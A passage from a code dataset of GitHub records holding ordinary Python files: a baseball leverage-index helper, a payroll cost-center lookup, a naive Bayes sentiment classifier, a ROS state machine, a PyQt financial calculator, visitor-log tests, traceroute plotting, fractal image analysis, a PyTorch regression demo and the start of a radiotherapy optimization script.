home_score) + 4\n runners_on_str = self._convert_runners_on(runners_on)\n inning_num_index = min(inning_num, 9)\n\n return self.li_table[inning_num_index][inning_half][runners_on_str][num_outs][run_differential_index]\n\n def _get_run_differential(self, away_score, home_score):\n MINIMUM = -4\n MAXIMUM = 4\n differential = home_score - away_score\n clamped_differential = max(MINIMUM, min(differential, MAXIMUM))\n return clamped_differential\n\n def _convert_runners_on(self, runners_on):\n assert all(type(x) is unicode for x in runners_on)\n\n runners_on_str = unicode()\n runners_on_str += u'1 ' if u'1' in runners_on else u'_ '\n runners_on_str += u'2 ' if u'2' in runners_on else u'_ '\n runners_on_str += u'3' if u'3' in runners_on else u'_'\n return runners_on_str\n\nif __name__ == u'__main__':\n import doctest\n doctest.testmod()\n","repo_name":"jakecar/plugin.video.mlbbasesloaded","sub_path":"leverage_index.py","file_name":"leverage_index.py","file_ext":"py","file_size_in_byte":3613,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"70"} +{"seq_id":"33310879819","text":"# coding:utf-8\n\nfrom ..pyfunctions.function_object import FunctionObject\nfrom ..pysysutils import global_variables as gv\nfrom ..pysysutils.py_calc_log import log\nfrom sqlalchemy import text\nimport datetime\n\n\nclass PyFunction(FunctionObject):\n \"\"\"\n Desc: 获取组织成本中心函数\n Author: David\n Date: 2021/03/16\n \"\"\"\n\n __slots__ = ['id', 'country', 'desc', 'descENG',\n 'func_type', 'instructions', 'instructionsENG']\n\n def __init__(self):\n super(PyFunction, self).__init__()\n\n self.id = 'FC_GET_ORG_COST_CENTER'\n self.country = 'CHN'\n self.desc = '获取组织成本中心函数'\n self.descENG = '获取组织成本中心函数'\n self.func_type = 'A'\n self.instructions = \"获取组织成本中心。输入参数:组织编码、日期(未指定时默认历经期结束日期); \" \\\n \"输出参数:成本中心、内部订单、供应商\"\n self.instructionsENG = self.instructions\n\n self.log_flag = gv.get_run_var_value('LOG_FLAG')\n if self.log_flag == 'Y':\n self.trace_dic = {\n 'id': self.id,\n 'desc': self.desc,\n 'type': 'FC',\n 'fc_obj': self,\n 'WC': [],\n 'WT': [],\n 'VR': [],\n 'PA': ['dept_cd', 'to_date']\n }\n else:\n self.trace_dic = {}\n\n @log()\n def func_exec(self, dept_cd, to_date=None):\n if dept_cd is None or dept_cd == '':\n raise Exception(\"函数FC_GET_ORG_COST_CENTER的参数错误\")\n if to_date is None:\n prd_end_dt = gv.get_var_value('VR_F_PERIOD_END')\n to_date = prd_end_dt\n if isinstance(to_date, str):\n try:\n to_date = datetime.datetime.strptime(to_date, \"%Y-%m-%d\")\n except (TypeError, ValueError):\n try:\n to_date = datetime.datetime.strptime(to_date, \"%Y/%m/%d\")\n except (TypeError, ValueError):\n raise Exception(\"函数FC_GET_ORG_COST_CENTER的参数错误\")\n elif not isinstance(to_date, datetime.date):\n raise Exception(\"函数FC_GET_ORG_COST_CENTER的参数错误\")\n\n tree_efft_dic = gv.get_run_var_value('TREE_EFFT_DIC')\n\n db = gv.get_db()\n catalog = gv.get_run_var_value('PY_CATALOG')\n tenant_id = catalog.tenant_id\n\n # 先从tree表中取到指定日期最新的生效日期,再从表hhr_org_dept_lvl_info中取值\n tree_key = str(tenant_id) + '_' + str(to_date)\n tree_efft_dt = None\n if tree_key in tree_efft_dic:\n tree_efft_dt = tree_efft_dic[tree_key]\n else:\n tree_efft_t = text(\n \"select t.hhr_efft_date from boogoo_corehr.hhr_org_tree t where t.tenant_id = :b1 and t.hhr_tree_code = 'ORG-DEPT-TREE' AND t.hhr_efft_date = \"\n \"(SELECT max(t1.hhr_efft_date) from boogoo_corehr.hhr_org_tree t1 where t1.tenant_id = t.tenant_id AND t1.hhr_tree_code = t.hhr_tree_code \"\n \"and t1.hhr_efft_date <= :b2) \")\n tree_row = db.conn.execute(tree_efft_t, b1=tenant_id, b2=to_date).fetchone()\n if tree_row is not None:\n tree_efft_dt = tree_row['hhr_efft_date']\n tree_efft_dic[tree_key] = tree_efft_dt\n\n t = text(\n \"select hhr_cost_center_code, hhr_org_dept_attr09, hhr_org_dept_attr10 from boogoo_corehr.hhr_org_dept_lvl_info \"\n \"where tenant_id = :b1 and hhr_dept_code = :b2 and hhr_efft_date = :b3 \")\n row = db.conn.execute(t, b1=tenant_id, b2=dept_cd, b3=tree_efft_dt).fetchone()\n if row is not None:\n return row['hhr_cost_center_code'], row['hhr_org_dept_attr09'], row['hhr_org_dept_attr10']\n else:\n return '', '', ''\n","repo_name":"pmxly/pypayroll","sub_path":"payroll/pyfunctions/FC_GET_ORG_COST_CENTER.py","file_name":"FC_GET_ORG_COST_CENTER.py","file_ext":"py","file_size_in_byte":3881,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"33826576944","text":"# naiv bayers\r\nimport re\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom sklearn.preprocessing import LabelEncoder\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.metrics import classification_report\r\nfrom sklearn.metrics import accuracy_score\r\nimport math\r\nimport nltk\r\nfrom sklearn.feature_extraction.text import CountVectorizer\r\nfrom collections import defaultdict\r\n\r\n# Read the dataset\r\ndata = pd.read_csv(r\"D:\\SLIIT\\Year 4\\Semester 1\\Research\\ChatBot\\Codes\\SentimentAnalysis_Training\\Data\\test.csv\")\r\n\r\ndef remove_tags(string):\r\n removelist = \"\"\r\n result = re.sub(r'[^w'+removelist+']', ' ',string) #remove non-alphanumeric characters \r\n result = result.lower()\r\n return result\r\ndata['clean_text']=data['clean_text'].apply(lambda cw : remove_tags(cw)) \r\nnltk.download('stopwords')\r\nfrom nltk.corpus import stopwords\r\nstop_words = set(stopwords.words('english'))\r\ndata['clean_text'] = data['clean_text'].apply(lambda x: ' '.join([word for word in x.split() if word not in (stop_words)]))\r\n\r\nw_tokenizer = nltk.tokenize.WhitespaceTokenizer()\r\nlemmatizer = nltk.stem.WordNetLemmatizer()\r\ndef lemmatize_text(text):\r\n st = \"\"\r\n for w in w_tokenizer.tokenize(text):\r\n st = st + lemmatizer.lemmatize(w) + \" \"\r\n return st\r\ndata['clean_text'] = data.clean_text.apply(lemmatize_text)\r\ndata = data[data['category'] != 'neutral']\r\n\r\nreviews = data['clean_text'].values\r\n\r\nlabels = data['category'].values\r\nencoder = LabelEncoder()\r\nencoded_labels = encoder.fit_transform(labels)\r\n\r\ntrain_sentences, test_sentences, train_labels, test_labels = train_test_split(reviews, encoded_labels, stratify = encoded_labels)\r\n\r\nvec = CountVectorizer(max_features = 3000)\r\nX = vec.fit_transform(train_sentences)\r\nvocab = vec.get_feature_names_out()\r\nX = X.toarray()\r\nword_counts = {}\r\nfor l in range(2):\r\n word_counts[l] = defaultdict(lambda: 0)\r\nfor i in range(X.shape[0]):\r\n l = train_labels[i]\r\n for j in range(len(vocab)):\r\n word_counts[l][vocab[j]] += X[i][j]\r\n\r\ndef laplace_smoothing(n_label_items, vocab, word_counts, word, text_label):\r\n a = word_counts[text_label][word] + 1\r\n b = n_label_items[text_label] + len(vocab)\r\n return math.log(a/b)\r\n\r\ndef group_by_label(x, y, labels):\r\n data = {}\r\n for l in labels:\r\n data[l] = x[np.where(y == l)]\r\n return data\r\n\r\n\r\ndef fit(x, y, labels):\r\n n_label_items = {}\r\n log_label_priors = {}\r\n n = len(x)\r\n grouped_data = group_by_label(x, y, labels)\r\n for l, data in grouped_data.items():\r\n n_label_items[l] = len(data)\r\n log_label_priors[l] = math.log(n_label_items[l] / n)\r\n return n_label_items, log_label_priors\r\n\r\ndef predict(n_label_items, vocab, word_counts, log_label_priors, labels, x):\r\n result = []\r\n for text in x:\r\n label_scores = {l: log_label_priors[l] for l in labels}\r\n words = set(w_tokenizer.tokenize(text))\r\n for word in words:\r\n if word not in vocab: continue\r\n for l in labels:\r\n log_w_given_l = laplace_smoothing(n_label_items, vocab, word_counts, word, l)\r\n label_scores[l] += log_w_given_l\r\n result.append(max(label_scores, key=label_scores.get))\r\n return result\r\n\r\nlabels = [0,1]\r\nn_label_items, log_label_priors = fit(train_sentences,train_labels,labels)\r\npred = predict(n_label_items, vocab, word_counts, log_label_priors, labels, test_sentences)\r\nprint(\"Accuracy of prediction on test set : \", accuracy_score(test_labels,pred))","repo_name":"ranaliH/research_test","sub_path":"Anupa/SentimentAnalysis_Training/Sentiment_Analysis2.py","file_name":"Sentiment_Analysis2.py","file_ext":"py","file_size_in_byte":3495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"25565218498","text":"#!/usr/bin/env python\nimport rclpy\nfrom flexbe_core.proxy import ProxyPublisher, ProxySubscriberCached\nfrom flexbe_core.logger import Logger\nimport threading\n\n\nfrom flexbe_core.core.state_machine import StateMachine\n\n\nclass RosStateMachine(StateMachine):\n \"\"\"\n A state machine to interface with ROS.\n \"\"\"\n _node = None\n\n @staticmethod\n def initialize_ros(node):\n RosStateMachine._node = node\n ProxyPublisher._initialize(node)\n ProxySubscriberCached._initialize(node)\n\n def __init__(self, *args, **kwargs):\n super(RosStateMachine, self).__init__(*args, **kwargs)\n self._is_controlled = False\n\n self._pub = ProxyPublisher()\n self._sub = ProxySubscriberCached()\n\n def wait(self, seconds=None, condition=None):\n if seconds is not None and seconds > 0:\n RosStateMachine._node.create_rate(1 / seconds, RosStateMachine._node.get_clock()).sleep()\n if condition is not None:\n rate = RosStateMachine._node.create_rate(100, RosStateMachine._node.get_clock())\n while rclpy.ok():\n if condition():\n break\n rate.sleep()\n\n def _enable_ros_control(self):\n self._is_controlled = True\n for state in self._states:\n state._enable_ros_control()\n\n def _disable_ros_control(self):\n self._is_controlled = False\n for state in self._states:\n state._disable_ros_control()\n","repo_name":"Jmz919/flexbe_behavior_engine","sub_path":"flexbe_core/flexbe_core/core/ros_state_machine.py","file_name":"ros_state_machine.py","file_ext":"py","file_size_in_byte":1469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"37608176342","text":"import math\nimport re\nfrom decimal import Decimal, getcontext, ROUND_CEILING\n\nfrom PyQt5.QtWidgets import QWidget, QGridLayout, QLabel, QLineEdit, QPushButton, QComboBox\nfrom PyQt5.QtCore import Qt, QSize\n\n\nclass ParseError(Exception):\n pass\n\n\ndef normal_round(n):\n if n - math.floor(n) < 0.5:\n return math.floor(n)\n return math.ceil(n)\n\n\nclass FinancialCalculator(QWidget):\n def __init__(self):\n super().__init__()\n self.setWindowTitle(\"Финансовый калькулятор\")\n self.setGeometry(100, 100, 1200, 200)\n\n self.layout = QGridLayout()\n self.setFixedSize(QSize(1200, 200))\n\n # Add an informative text label\n info_label = QLabel(\"Самосюк Екатерина Александровна. 4 курс, 4 группа (КТС). 2023 год.\")\n info_label.setAlignment(Qt.AlignCenter) # Center the text\n self.layout.addWidget(info_label, 0, 1, 1, 13) # Span two columns\n\n # Add input fields and labels in line\n self.value1_label = QLabel(\"Значение 1:\")\n self.value1_input = QLineEdit(\"0\")\n self.layout.addWidget(self.value1_label, 1, 0)\n self.layout.addWidget(self.value1_input, 1, 1)\n\n self.operation_dropdown1 = QComboBox()\n self.operation_dropdown1.addItems([\"+\", \"-\", \"*\", \"/\"])\n self.layout.addWidget(self.operation_dropdown1, 1, 2)\n\n self.value2_label = QLabel(\"( Значение 2:\")\n self.value2_input = QLineEdit(\"0\")\n self.layout.addWidget(self.value2_label, 1, 3)\n self.layout.addWidget(self.value2_input, 1, 4)\n\n self.operation_dropdown2 = QComboBox()\n self.operation_dropdown2.addItems([\"+\", \"-\", \"*\", \"/\"])\n self.layout.addWidget(self.operation_dropdown2, 1, 5)\n\n self.value3_label = QLabel(\"Значение 3:\")\n self.value3_input = QLineEdit(\"0\")\n self.layout.addWidget(self.value3_label, 1, 6)\n self.layout.addWidget(self.value3_input, 1, 7)\n self.scope_label = QLabel(\")\")\n self.layout.addWidget(self.scope_label, 1, 8)\n\n self.operation_dropdown3 = QComboBox()\n self.operation_dropdown3.addItems([\"+\", \"-\", \"*\", \"/\"])\n self.layout.addWidget(self.operation_dropdown3, 1, 9)\n\n self.value4_label = QLabel(\"Значение 4:\")\n self.value4_input = QLineEdit(\"0\")\n self.layout.addWidget(self.value4_label, 1, 10)\n self.layout.addWidget(self.value4_input, 1, 11)\n\n self.calculate_button = QPushButton(\"Посчитать!\")\n self.calculate_button.clicked.connect(self.calculate)\n self.layout.addWidget(self.calculate_button, 4, 0, 1, 13) # Span 13 columns\n\n self.result_label = QLabel(\"Результат: \")\n self.layout.addWidget(self.result_label, 5, 0, 1, 13) # Span 13 columns\n\n self.output_type = QComboBox()\n self.output_type.addItems(\n [\n \"Математическое округление\",\n \"Банковское округление\",\n \"Усечение\"\n ]\n )\n self.layout.addWidget(self.output_type, 6, 0, 1, 6)\n\n self.rounded_result_label = QLabel(\"Округленный результат: \")\n self.layout.addWidget(self.rounded_result_label, 6, 6, 1, 6) # Span 6 columns\n\n self.setLayout(self.layout)\n\n def get_input(self, source_name):\n value_str = self.__getattribute__(source_name).text().replace(',', '.')\n if \"e\" in value_str:\n raise ParseError(f\"Невозможно ввести экспоненциальное представление.\")\n if len(value_str) == 0:\n raise ParseError(f\"Проверьте входные числа, невозможно обработать пустое значение.\")\n if not re.match(r'^-?\\d+(\\s\\d{3})*(\\.\\d+)?$', value_str):\n raise ParseError(f\"Проверьте входные числа на недопустимые символы: {value_str}!\")\n else:\n value_str = value_str.replace(\" \", \"\")\n value = Decimal(value_str)\n if math.fabs(value) > 1e12:\n raise ArithmeticError(\n \"Переполнение: значения должны быть меньше 1 000 000 000 000.000000 и больше -1 000 000 000 000.000000\")\n return value\n\n @staticmethod\n def _do_calc(value_1, value_2, operation):\n result = 0\n if operation == \"+\":\n result = value_1 + value_2\n elif operation == \"-\":\n result = value_1 - value_2\n elif operation == \"*\":\n result = value_1 * value_2\n elif operation == \"/\":\n if value_2 == 0:\n raise ValueError(\"Деление на 0 невозможно.\")\n result = value_1 / value_2\n else:\n raise ValueError(\"Неподдерживаемая операция.\")\n if result - Decimal(1e12) > 0:\n raise ArithmeticError(\"Переполнение: результат больше 1 000 000 000 000.000000\")\n if result + Decimal(1e12) < 0:\n raise ArithmeticError(\"Переполнение: результат меньше -1 000 000 000 000.000000\")\n\n return round(result, 10)\n\n def _round_result(self, result: Decimal):\n output_type = self.output_type.currentIndex()\n if output_type == 0: # math round\n return normal_round(result)\n elif output_type == 1: # bankers round\n return round(result)\n elif output_type == 2:\n return math.trunc(result)\n else:\n ValueError(\"Не поддерживаемый тип округления.\")\n\n def calculate(self):\n try:\n value_1 = self.get_input(\"value1_input\")\n value_2 = self.get_input(\"value2_input\")\n value_3 = self.get_input(\"value3_input\")\n value_4 = self.get_input(\"value4_input\")\n\n operation1 = self.operation_dropdown1.currentText()\n operation2 = self.operation_dropdown2.currentText()\n operation3 = self.operation_dropdown3.currentText()\n\n result = self._do_calc(value_2, value_3, operation2)\n if operation1 in [\"*\", \"/\"]:\n result = self._do_calc(value_1, result, operation1)\n result = self._do_calc(result, value_4, operation3)\n else:\n result = self._do_calc(result, value_4, operation3)\n result = self._do_calc(value_1, result, operation1)\n\n # Another check just to fit task description\n\n rounded_result = self._round_result(result)\n rounded_result_str = \"{:,.6f}\".format(rounded_result)\n rounded_result_str = rounded_result_str.replace(\",\", \" \").rstrip('0').rstrip('.')\n self.rounded_result_label.setText(f\"Округленный результат: {rounded_result_str}\")\n\n result_str = \"{:,.6f}\".format(result)\n result_str = result_str.replace(\",\", \" \").rstrip('0').rstrip('.')\n self.result_label.setText(f\"Результат: {result_str}\")\n except (ArithmeticError, ValueError, ParseError) as exc:\n self.result_label.setText(f\"Неправильный ввод: {str(exc)}\")\n","repo_name":"sherri-ice/bsu_famcs_4_course","sub_path":"ds-1/lab-1/financial_calc/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":7357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"24409147880","text":"# Bring your packages onto the path\nimport sys, os, json\nsys.path.append(os.path.abspath(os.path.join(\"..\", \"vms\")))\n\nimport unittest\nfrom vms import create_app, db\nfrom vms.models import VisitorLog\n\nclass VMSTestCase (unittest.TestCase):\n def setUp(self):\n self.app = create_app(config_name=\"testing\")\n self.client = self.app.test_client()\n self.visitor_info = {\n \"visitorName\": \"john doe\",\n \"hostName\": \"jane doe\",\n \"purpose\": \"official\",\n \"cardNumber\": \"0012\"\n }\n\n with self.app.app_context():\n db.create_all()\n\n def test_can_create_visitor_log(self):\n res = self.client.post(\"/api/v1/visitor-logs/\",\n data=json.dumps(self.visitor_info),\n content_type='application/json')\n res_data = json.loads(res.data)\n self.assertEqual(res.status_code, 201)\n assert res_data['data']['timeIn'] != 'None'\n \n def test_can_view_visitor_logs(self):\n res = self.client.get(\"/api/v1/visitor-logs/\")\n self.assertEqual(res.status_code, 200)\n \n def tearDown(self):\n \"\"\"Remove resources\"\"\"\n with self.app.app_context():\n db.session.remove()\n db.drop_all()\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"john555/kyv-backend","sub_path":"tests/test_vms.py","file_name":"test_vms.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"71082531748","text":"from matplotlib.axes import Axes\nimport numpy as np\nfrom stats import modified_thompson_tau\nfrom traceroute import RouterResponse, TTLRoute\n\n\ndef grafico_deteccion_outliers(\n destination: str,\n route: TTLRoute,\n *,\n ax: Axes,\n manual_threshold: float | None = None,\n ttl_ocean_cables: set[int] = set(),\n) -> None:\n valid_responses = [\n response for response in route[1:] if isinstance(response, RouterResponse)\n ]\n\n ttls = np.array([response.ttl for response in valid_responses])\n\n segment_times = np.array(\n [\n response.segment_time * 1000\n for response in valid_responses\n if response.segment_time > 0\n ]\n )\n\n tau_threshold = modified_thompson_tau(len(segment_times)) * np.std(\n segment_times\n ) + np.mean(segment_times)\n\n # Agrego los segment_times negativos como 0\n segment_times = np.array(\n [max(0, response.segment_time) * 1000 for response in valid_responses]\n )\n\n def get_color(segment_time: float) -> str:\n if manual_threshold is not None and segment_time > manual_threshold:\n return \"red\"\n elif segment_time > tau_threshold:\n return \"orange\"\n elif segment_time > 0:\n return \"blue\"\n else:\n return \"black\"\n\n is_ocean = np.isin(ttls, list(ttl_ocean_cables))\n\n ax.scatter(\n ttls[is_ocean],\n segment_times[is_ocean],\n color=[get_color(segment_time) for segment_time in segment_times[is_ocean]],\n marker=\"^\",\n )\n\n ax.scatter(\n ttls[~is_ocean],\n segment_times[~is_ocean],\n color=[get_color(segment_time) for segment_time in segment_times[~is_ocean]],\n marker=\"o\",\n )\n\n ax.axhline(\n tau_threshold,\n color=\"orange\",\n linestyle=\"--\",\n label=\"Umbral de outliers (Thompson)\",\n )\n\n if manual_threshold is not None:\n ax.axhline(\n manual_threshold,\n color=\"red\",\n linestyle=\"--\",\n label=\"Umbral de outliers (manual)\",\n )\n\n ax.set_xticks(ttls)\n ax.set_xlabel(\"TTL\")\n\n ax.set_ylabel(\"Tiempo de respuesta ($ms$)\")\n\n ax.set_title(f\"Detección de outliers en ruta a {destination}\")\n","repo_name":"sponja23/tdc-tp2","sub_path":"figures/grafico_deteccion_outliers.py","file_name":"grafico_deteccion_outliers.py","file_ext":"py","file_size_in_byte":2242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"22996903339","text":"import sys\nimport os\nfrom PIL import Image\nfrom pyx import * # plots\n#import psyco\nimport franTools\nimport imrand\n#from readcol import *\n\n#psyco.full()\ntext.set(lfs=\"foils17pt\")\n\nclass Fractal:\n \"\"\"A Fractal Image\"\"\"\n def __init__(self):\n self.filename = ''\n self.datafilename = ''\n self.origImage = None\n self.grayImage = None\n self.nullImage = None\n self.average = 0.0\n self.desvest = 0.0\n self.spectrum = None\n self.nullSpectrum = None\n self.excess = None\n \n def __set_atr(self):\n if self.origImage != None:\n self.grayImage = self.origImage.convert(\"L\")\n self.average = franTools.pixelAverage(self.grayImage)\n self.desvest = int(franTools.pixelDesvest(self.grayImage))\n\n def load(self, filename):\n try: \n self.origImage = Image.open(filename)\n except IOError:\n print(\"Cannot load image file\")\n return\n self.filename = filename\n self.__set_atr()\n \n def loadImage(self, imagein):\n self.origImage = imagein\n self.__set_atr()\n\n def fractalDimension(self, thr = -1):\n if thr == -1:\n thr = self.average\n result, data = franTools.fracDim(self.grayImage, thr)\n if result == 0:\n print(\"Data out of range!\")\n return 0, 0\n if result == -1:\n print(\"Division by zero!\")\n return 0, 0\n for element in result:\n print(\"D_\"+element[0]+\" = \"+str(element[1])+\"\\t\\terr = \"+str(element[3]))\n return result[0][1], result[0][3]\n\n def fractalSpectra(self, specPoints = 31):\n dev = list(range(specPoints))\n thresVect = list(range(specPoints))\n spec = []\n specerr = []\n rango = 1.5\n # Checking range limits:\n if self.average + 1.5*self.desvest > 255:\n rango = float(255 - self.average)/float(self.desvest)\n if self.average - 1.5*self.desvest < 0:\n rango = float(self.average)/float(self.desvest)\n # Processing fractal dimension at different points:\n for i in range(specPoints):\n dev[i] = -rango+i*2*rango/(specPoints-1.0)\n thresVect[i] = int(round(self.average + self.desvest*dev[i]))\n print(\"--------------------------------------\")\n print(\"%%% Fractal Dimension with threshold: \"+str(thresVect[i]))\n auxFD, auxFDerr = self.fractalDimension(thresVect[i])\n if auxFD != 0:\n spec.append(auxFD)\n specerr.append(auxFDerr)\n else:\n spec.append(0.)\n specerr.append(0.)\n #print(spec) \n self.spectrum = thresVect, dev, spec, specerr\n return thresVect, dev, spec, specerr\n \n def nullModel(self, randStep = 20):\n # Randomization constants:\n condition = 0.001\n imMaxX, imMaxY = self.grayImage.size\n maxRandPix = imMaxX+imMaxY\n loops = maxRandPix*randStep/100.\n if (loops-int(loops)) > 0.: # rounding\n loops = int(loops) + 1\n else: \n loops = int(loops)\n # First randomization - 100%:\n randImage = self.grayImage.copy()\n print(\"Randomizing the image...\")\n for i in range(int(maxRandPix)):\n imrand.randomCol(randImage)\n imrand.randomRow(randImage)\n aux = Fractal()\n aux.loadImage(randImage.copy())\n result = aux.fractalSpectra(10)\n oldSp = result[2]\n del aux, result\n # After 100% spectra variability test:\n different = True\n while different == True:\n print(\"Randomizing...\")\n for i in range(loops):\n imrand.randomCol(randImage)\n imrand.randomRow(randImage)\n nueva = Fractal()\n nueva.loadImage(randImage.copy())\n result = nueva.fractalSpectra(10)\n newSp = result[2]\n meanSp = 0.0\n for i in range(len(newSp)):\n meanSp += (newSp[i] - oldSp[i])\n meanSp = abs(meanSp)/10.\n if meanSp <= condition:\n different = False\n self.nullImage = randImage\n self.nullSpectrum = nueva.fractalSpectra()\n else:\n oldSp = newSp\n del nueva, result\n return self.nullSpectrum\n\n def excessSpectra(self):\n if self.spectrum == None:\n self.fractalSpectra()\n\n if self.nullSpectrum == None:\n self.nullModel()\n \n self.excess = []\n for i in range(31):\n aux = self.nullSpectrum[2][i] - self.spectrum[2][i]\n self.excess.append(aux)\n\n return self.excess\n\n def saveData(self):\n if self.excess == None:\n self.excessSpectra()\n\n mainName = os.path.splitext(self.filename)[0]\n datafile = open(mainName+\".dat\",\"w\") \n datafile.write(\"# thres\\tdev\\tspec\\tspec_err\\tnullsp\\texcess\\n\")\n for i in range(31):\n for j in range(4):\n datafile.write(str(self.spectrum[j][i])+\"\\t\")\n datafile.write(str(self.nullSpectrum[2][i])+\"\\t\")\n datafile.write(str(self.excess[i])+\"\\n\")\n\n self.grayImage.save(mainName+\"_gray.png\",\"PNG\")\n self.nullImage.save(mainName+\"_null.png\",\"PNG\")\n self.datafilename = mainName+\".dat\"\n \n def graphExcess(self):\n if self.datafilename == '':\n self.excessSpectra()\n self.saveData()\n # Fractal excess spectra graphic:\n mainName = os.path.splitext(self.filename)[0]\n graph1 = graph.graphxy(width=16,\n x=graph.axis.linear(title=\"Relative threshold value\"),\n y=graph.axis.linear(title=\"Fractal Excess\"))\n graph1.plot(graph.data.file(self.datafilename,x=2,y=6),\n [graph.style.symbol(symbol=graph.style.symbol.triangle,size=0.3,\n symbolattrs=[deco.filled([color.rgb.blue])])])\n graph1.writeEPSfile(mainName+\"_excess\")\n # Fractal Dimension and null model graphics:\n graph2 = graph.graphxy(width=16,\n x=graph.axis.linear(title=\"Relative threshold value\"),\n y=graph.axis.linear(title=\"Fractal Dimension\"),\n key=graph.key.key(pos=\"br\",dist=0.1))\n graph2.plot(graph.data.file(self.datafilename,x=2,y=3,title=\"original\"),\n [graph.style.symbol(symbol=graph.style.symbol.square,size=0.3,\n symbolattrs=[deco.filled([color.rgb.green])])])\n graph2.plot(graph.data.file(self.datafilename,x=2,y=5,title=\"randomized\"),\n [graph.style.symbol(symbol=graph.style.symbol.diamond,size=0.3,\n symbolattrs=[deco.filled([color.rgb.red])])])\n graph2.writeEPSfile(mainName+\"_specs\")\n\nif __name__ == \"__main__\":\n myfractal = Fractal()\n myfractal.load(sys.argv[1])\n myfractal.excessSpectra()\n myfractal.saveData()\n myfractal.graphExcess()\n\n","repo_name":"cnvega/FrAn","sub_path":"fran.py","file_name":"fran.py","file_ext":"py","file_size_in_byte":6985,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"40371349719","text":"#%% Training Pipeline: Model, Loss and Optimizer\n# We implemented logistic regression from scratch in this section. Calculations were made as follows ;\n# -Prediction: PyTorch Model\n# -Gradients Computation: Autograd\n# -Loss Computation: PyTorch Loss\n# -Parameter Updates: PyTorch Optimizer\nimport torch\nimport torch.nn as nn\n\nX = torch.tensor([[1], [2], [3], [4]], dtype=torch.float32)\nY = torch.tensor([[2], [4], [6], [8]], dtype=torch.float32)\n\nX_test = torch.tensor([5], dtype=torch.float32)\n\nn_samples, n_features = X.shape\n\ninput_size = n_features\noutput_size = n_features\n\nmodel = nn.Linear(input_size, output_size)\n\n# Other way to calculate the Linear Regression\n# class LinearRegression(nn.Module):\n# def __init__(self, input_dim, output_dim):\n# super(LinearRegression, self).__init__()\n# #define the layers\n# self.lin = nn.Linear(input_dim, output_dim)\n \n# def forward(self, x):\n# return self.lin(x)\n \n# model = LinearRegression(input_size, output_size)\n\nprint(f'Prediction before training: f(5) = {model(X_test).item():.3f}')\n\n#Training\nlearning_rate = 0.01\nn_iters = 10 \n\nloss = nn.MSELoss() # Mean Square Error is a callable function\noptimizer = torch.optim.SGD(model.parameters(), lr=learning_rate) \n\nfor epoch in range(n_iters):\n # prediction = forward pass\n y_pred = model(X)\n \n # loss\n l = loss(Y, y_pred)\n \n # gradients = backward pass\n l.backward() # dl/dw\n \n # update weights\n optimizer.step() # Will do optimization step automatically\n \n # zero gradients\n optimizer.zero_grad() # before the next iteration, we want to make sure our gradients are zero again\n \n if epoch % 1 == 0:\n [w, b] = model.parameters()\n print(f'epoch {epoch+1}: w = {w[0][0].item():.3f}, loss = {l:.8f}')\n \nprint(f'Prediction after training: f(5) = {model(X_test).item():.3f}')\n","repo_name":"tahay1lmaz/PyTorch","sub_path":"model_loss_and_optimizer.py","file_name":"model_loss_and_optimizer.py","file_ext":"py","file_size_in_byte":1893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"73878911907","text":"import argparse\nfrom comet_ml import Experiment\nimport numpy as np\nimport copy\nimport scipy.optimize\nimport pandas as pd\nimport operator\nimport scipy.io\nimport scipy\nimport scipy.sparse\nimport time\nimport sys\nimport os\nimport matplotlib.pyplot as plt\n#Import mmort modules\nsys.path.append(os.path.abspath(os.path.join(os.getcwd(), '..', 'mmort')))\nimport experiments\n# import optimization_tools\n# import evaluation\nimport utils\nfrom config import configurations\nimport torch\nimport torch.nn.functional as F\nimport torch.optim as optim\n\nparser = argparse.ArgumentParser(description='MMORT')\nparser.add_argument('--config_experiment', default = 'Experiment_1', type = str, help = 'Which experiment to run (Options: Experiment_1, Experiment_2). See config file for details')\nparser.add_argument('--lr', default=1e-3, type=float, help='Lr for Adam or SGD')\nparser.add_argument('--num_epochs', default=100, type=int, help='Number of epochs')\nparser.add_argument('--u_max', default=1000, type=float, help='Upper bound on u')\nparser.add_argument('--lambda_init', default=1e5, type=float, help='Initial value for lambda')\nparser.add_argument('--data_name', default = 'ProstateExample_BODY_not_reduced_with_OAR_constraints.mat', type = str)\nparser.add_argument('--precomputed', action='store_true', help='Use precomputed smoothed u for DVC initial guess')\nparser.add_argument('--initial_guess_for_dv', action='store_true', help='use initial guess for dvc solution')\nparser.add_argument('--save_dir', default = 'save_dir', type = str)\nparser.add_argument('--optimizer', default = 'Adam', type = str, help='Which optimizer to use (SGD, Adam, LBFGS)')\n#Lagnragian optimization args\nparser.add_argument('--lagrange', action='store_true', help='use Lagrangian optimization: do alternating grad desc wrt u and ascent wrt lamda')\nparser.add_argument('--lambda_lr', default=1e-3, type=float, help='Lr for Adam or SGD for Lambda lagrange update')\n#N optimization args\nparser.add_argument('--optimize_N', action='store_true', help='Attempt N optimization')\nparser.add_argument('--tumor_double_time', default=10.0, type=float, help='Tumor doubling time')\nparser.add_argument('--N_max', default=50.0, type=float, help='Max fractionation')\nparser.add_argument('--N_lr', default=0.1, type=float, help='Lr for Adam or SGD for N update')\ndef relaxed_loss(epoch, u, N, dose_deposition_dict, constraint_dict, radbio_dict, S, experiment, device = 'cuda', lambdas = None):\n\tnum_violated = 0\n\talpha, beta = radbio_dict['Target'] #Linear and quadratic coefficients\n\tT = dose_deposition_dict['Target']\n\ttumor_dose = T@u\n\t#tumor BE: division to compute average BE, to be on the same scale with max dose\n\tloss = -N*(alpha*tumor_dose.sum() + 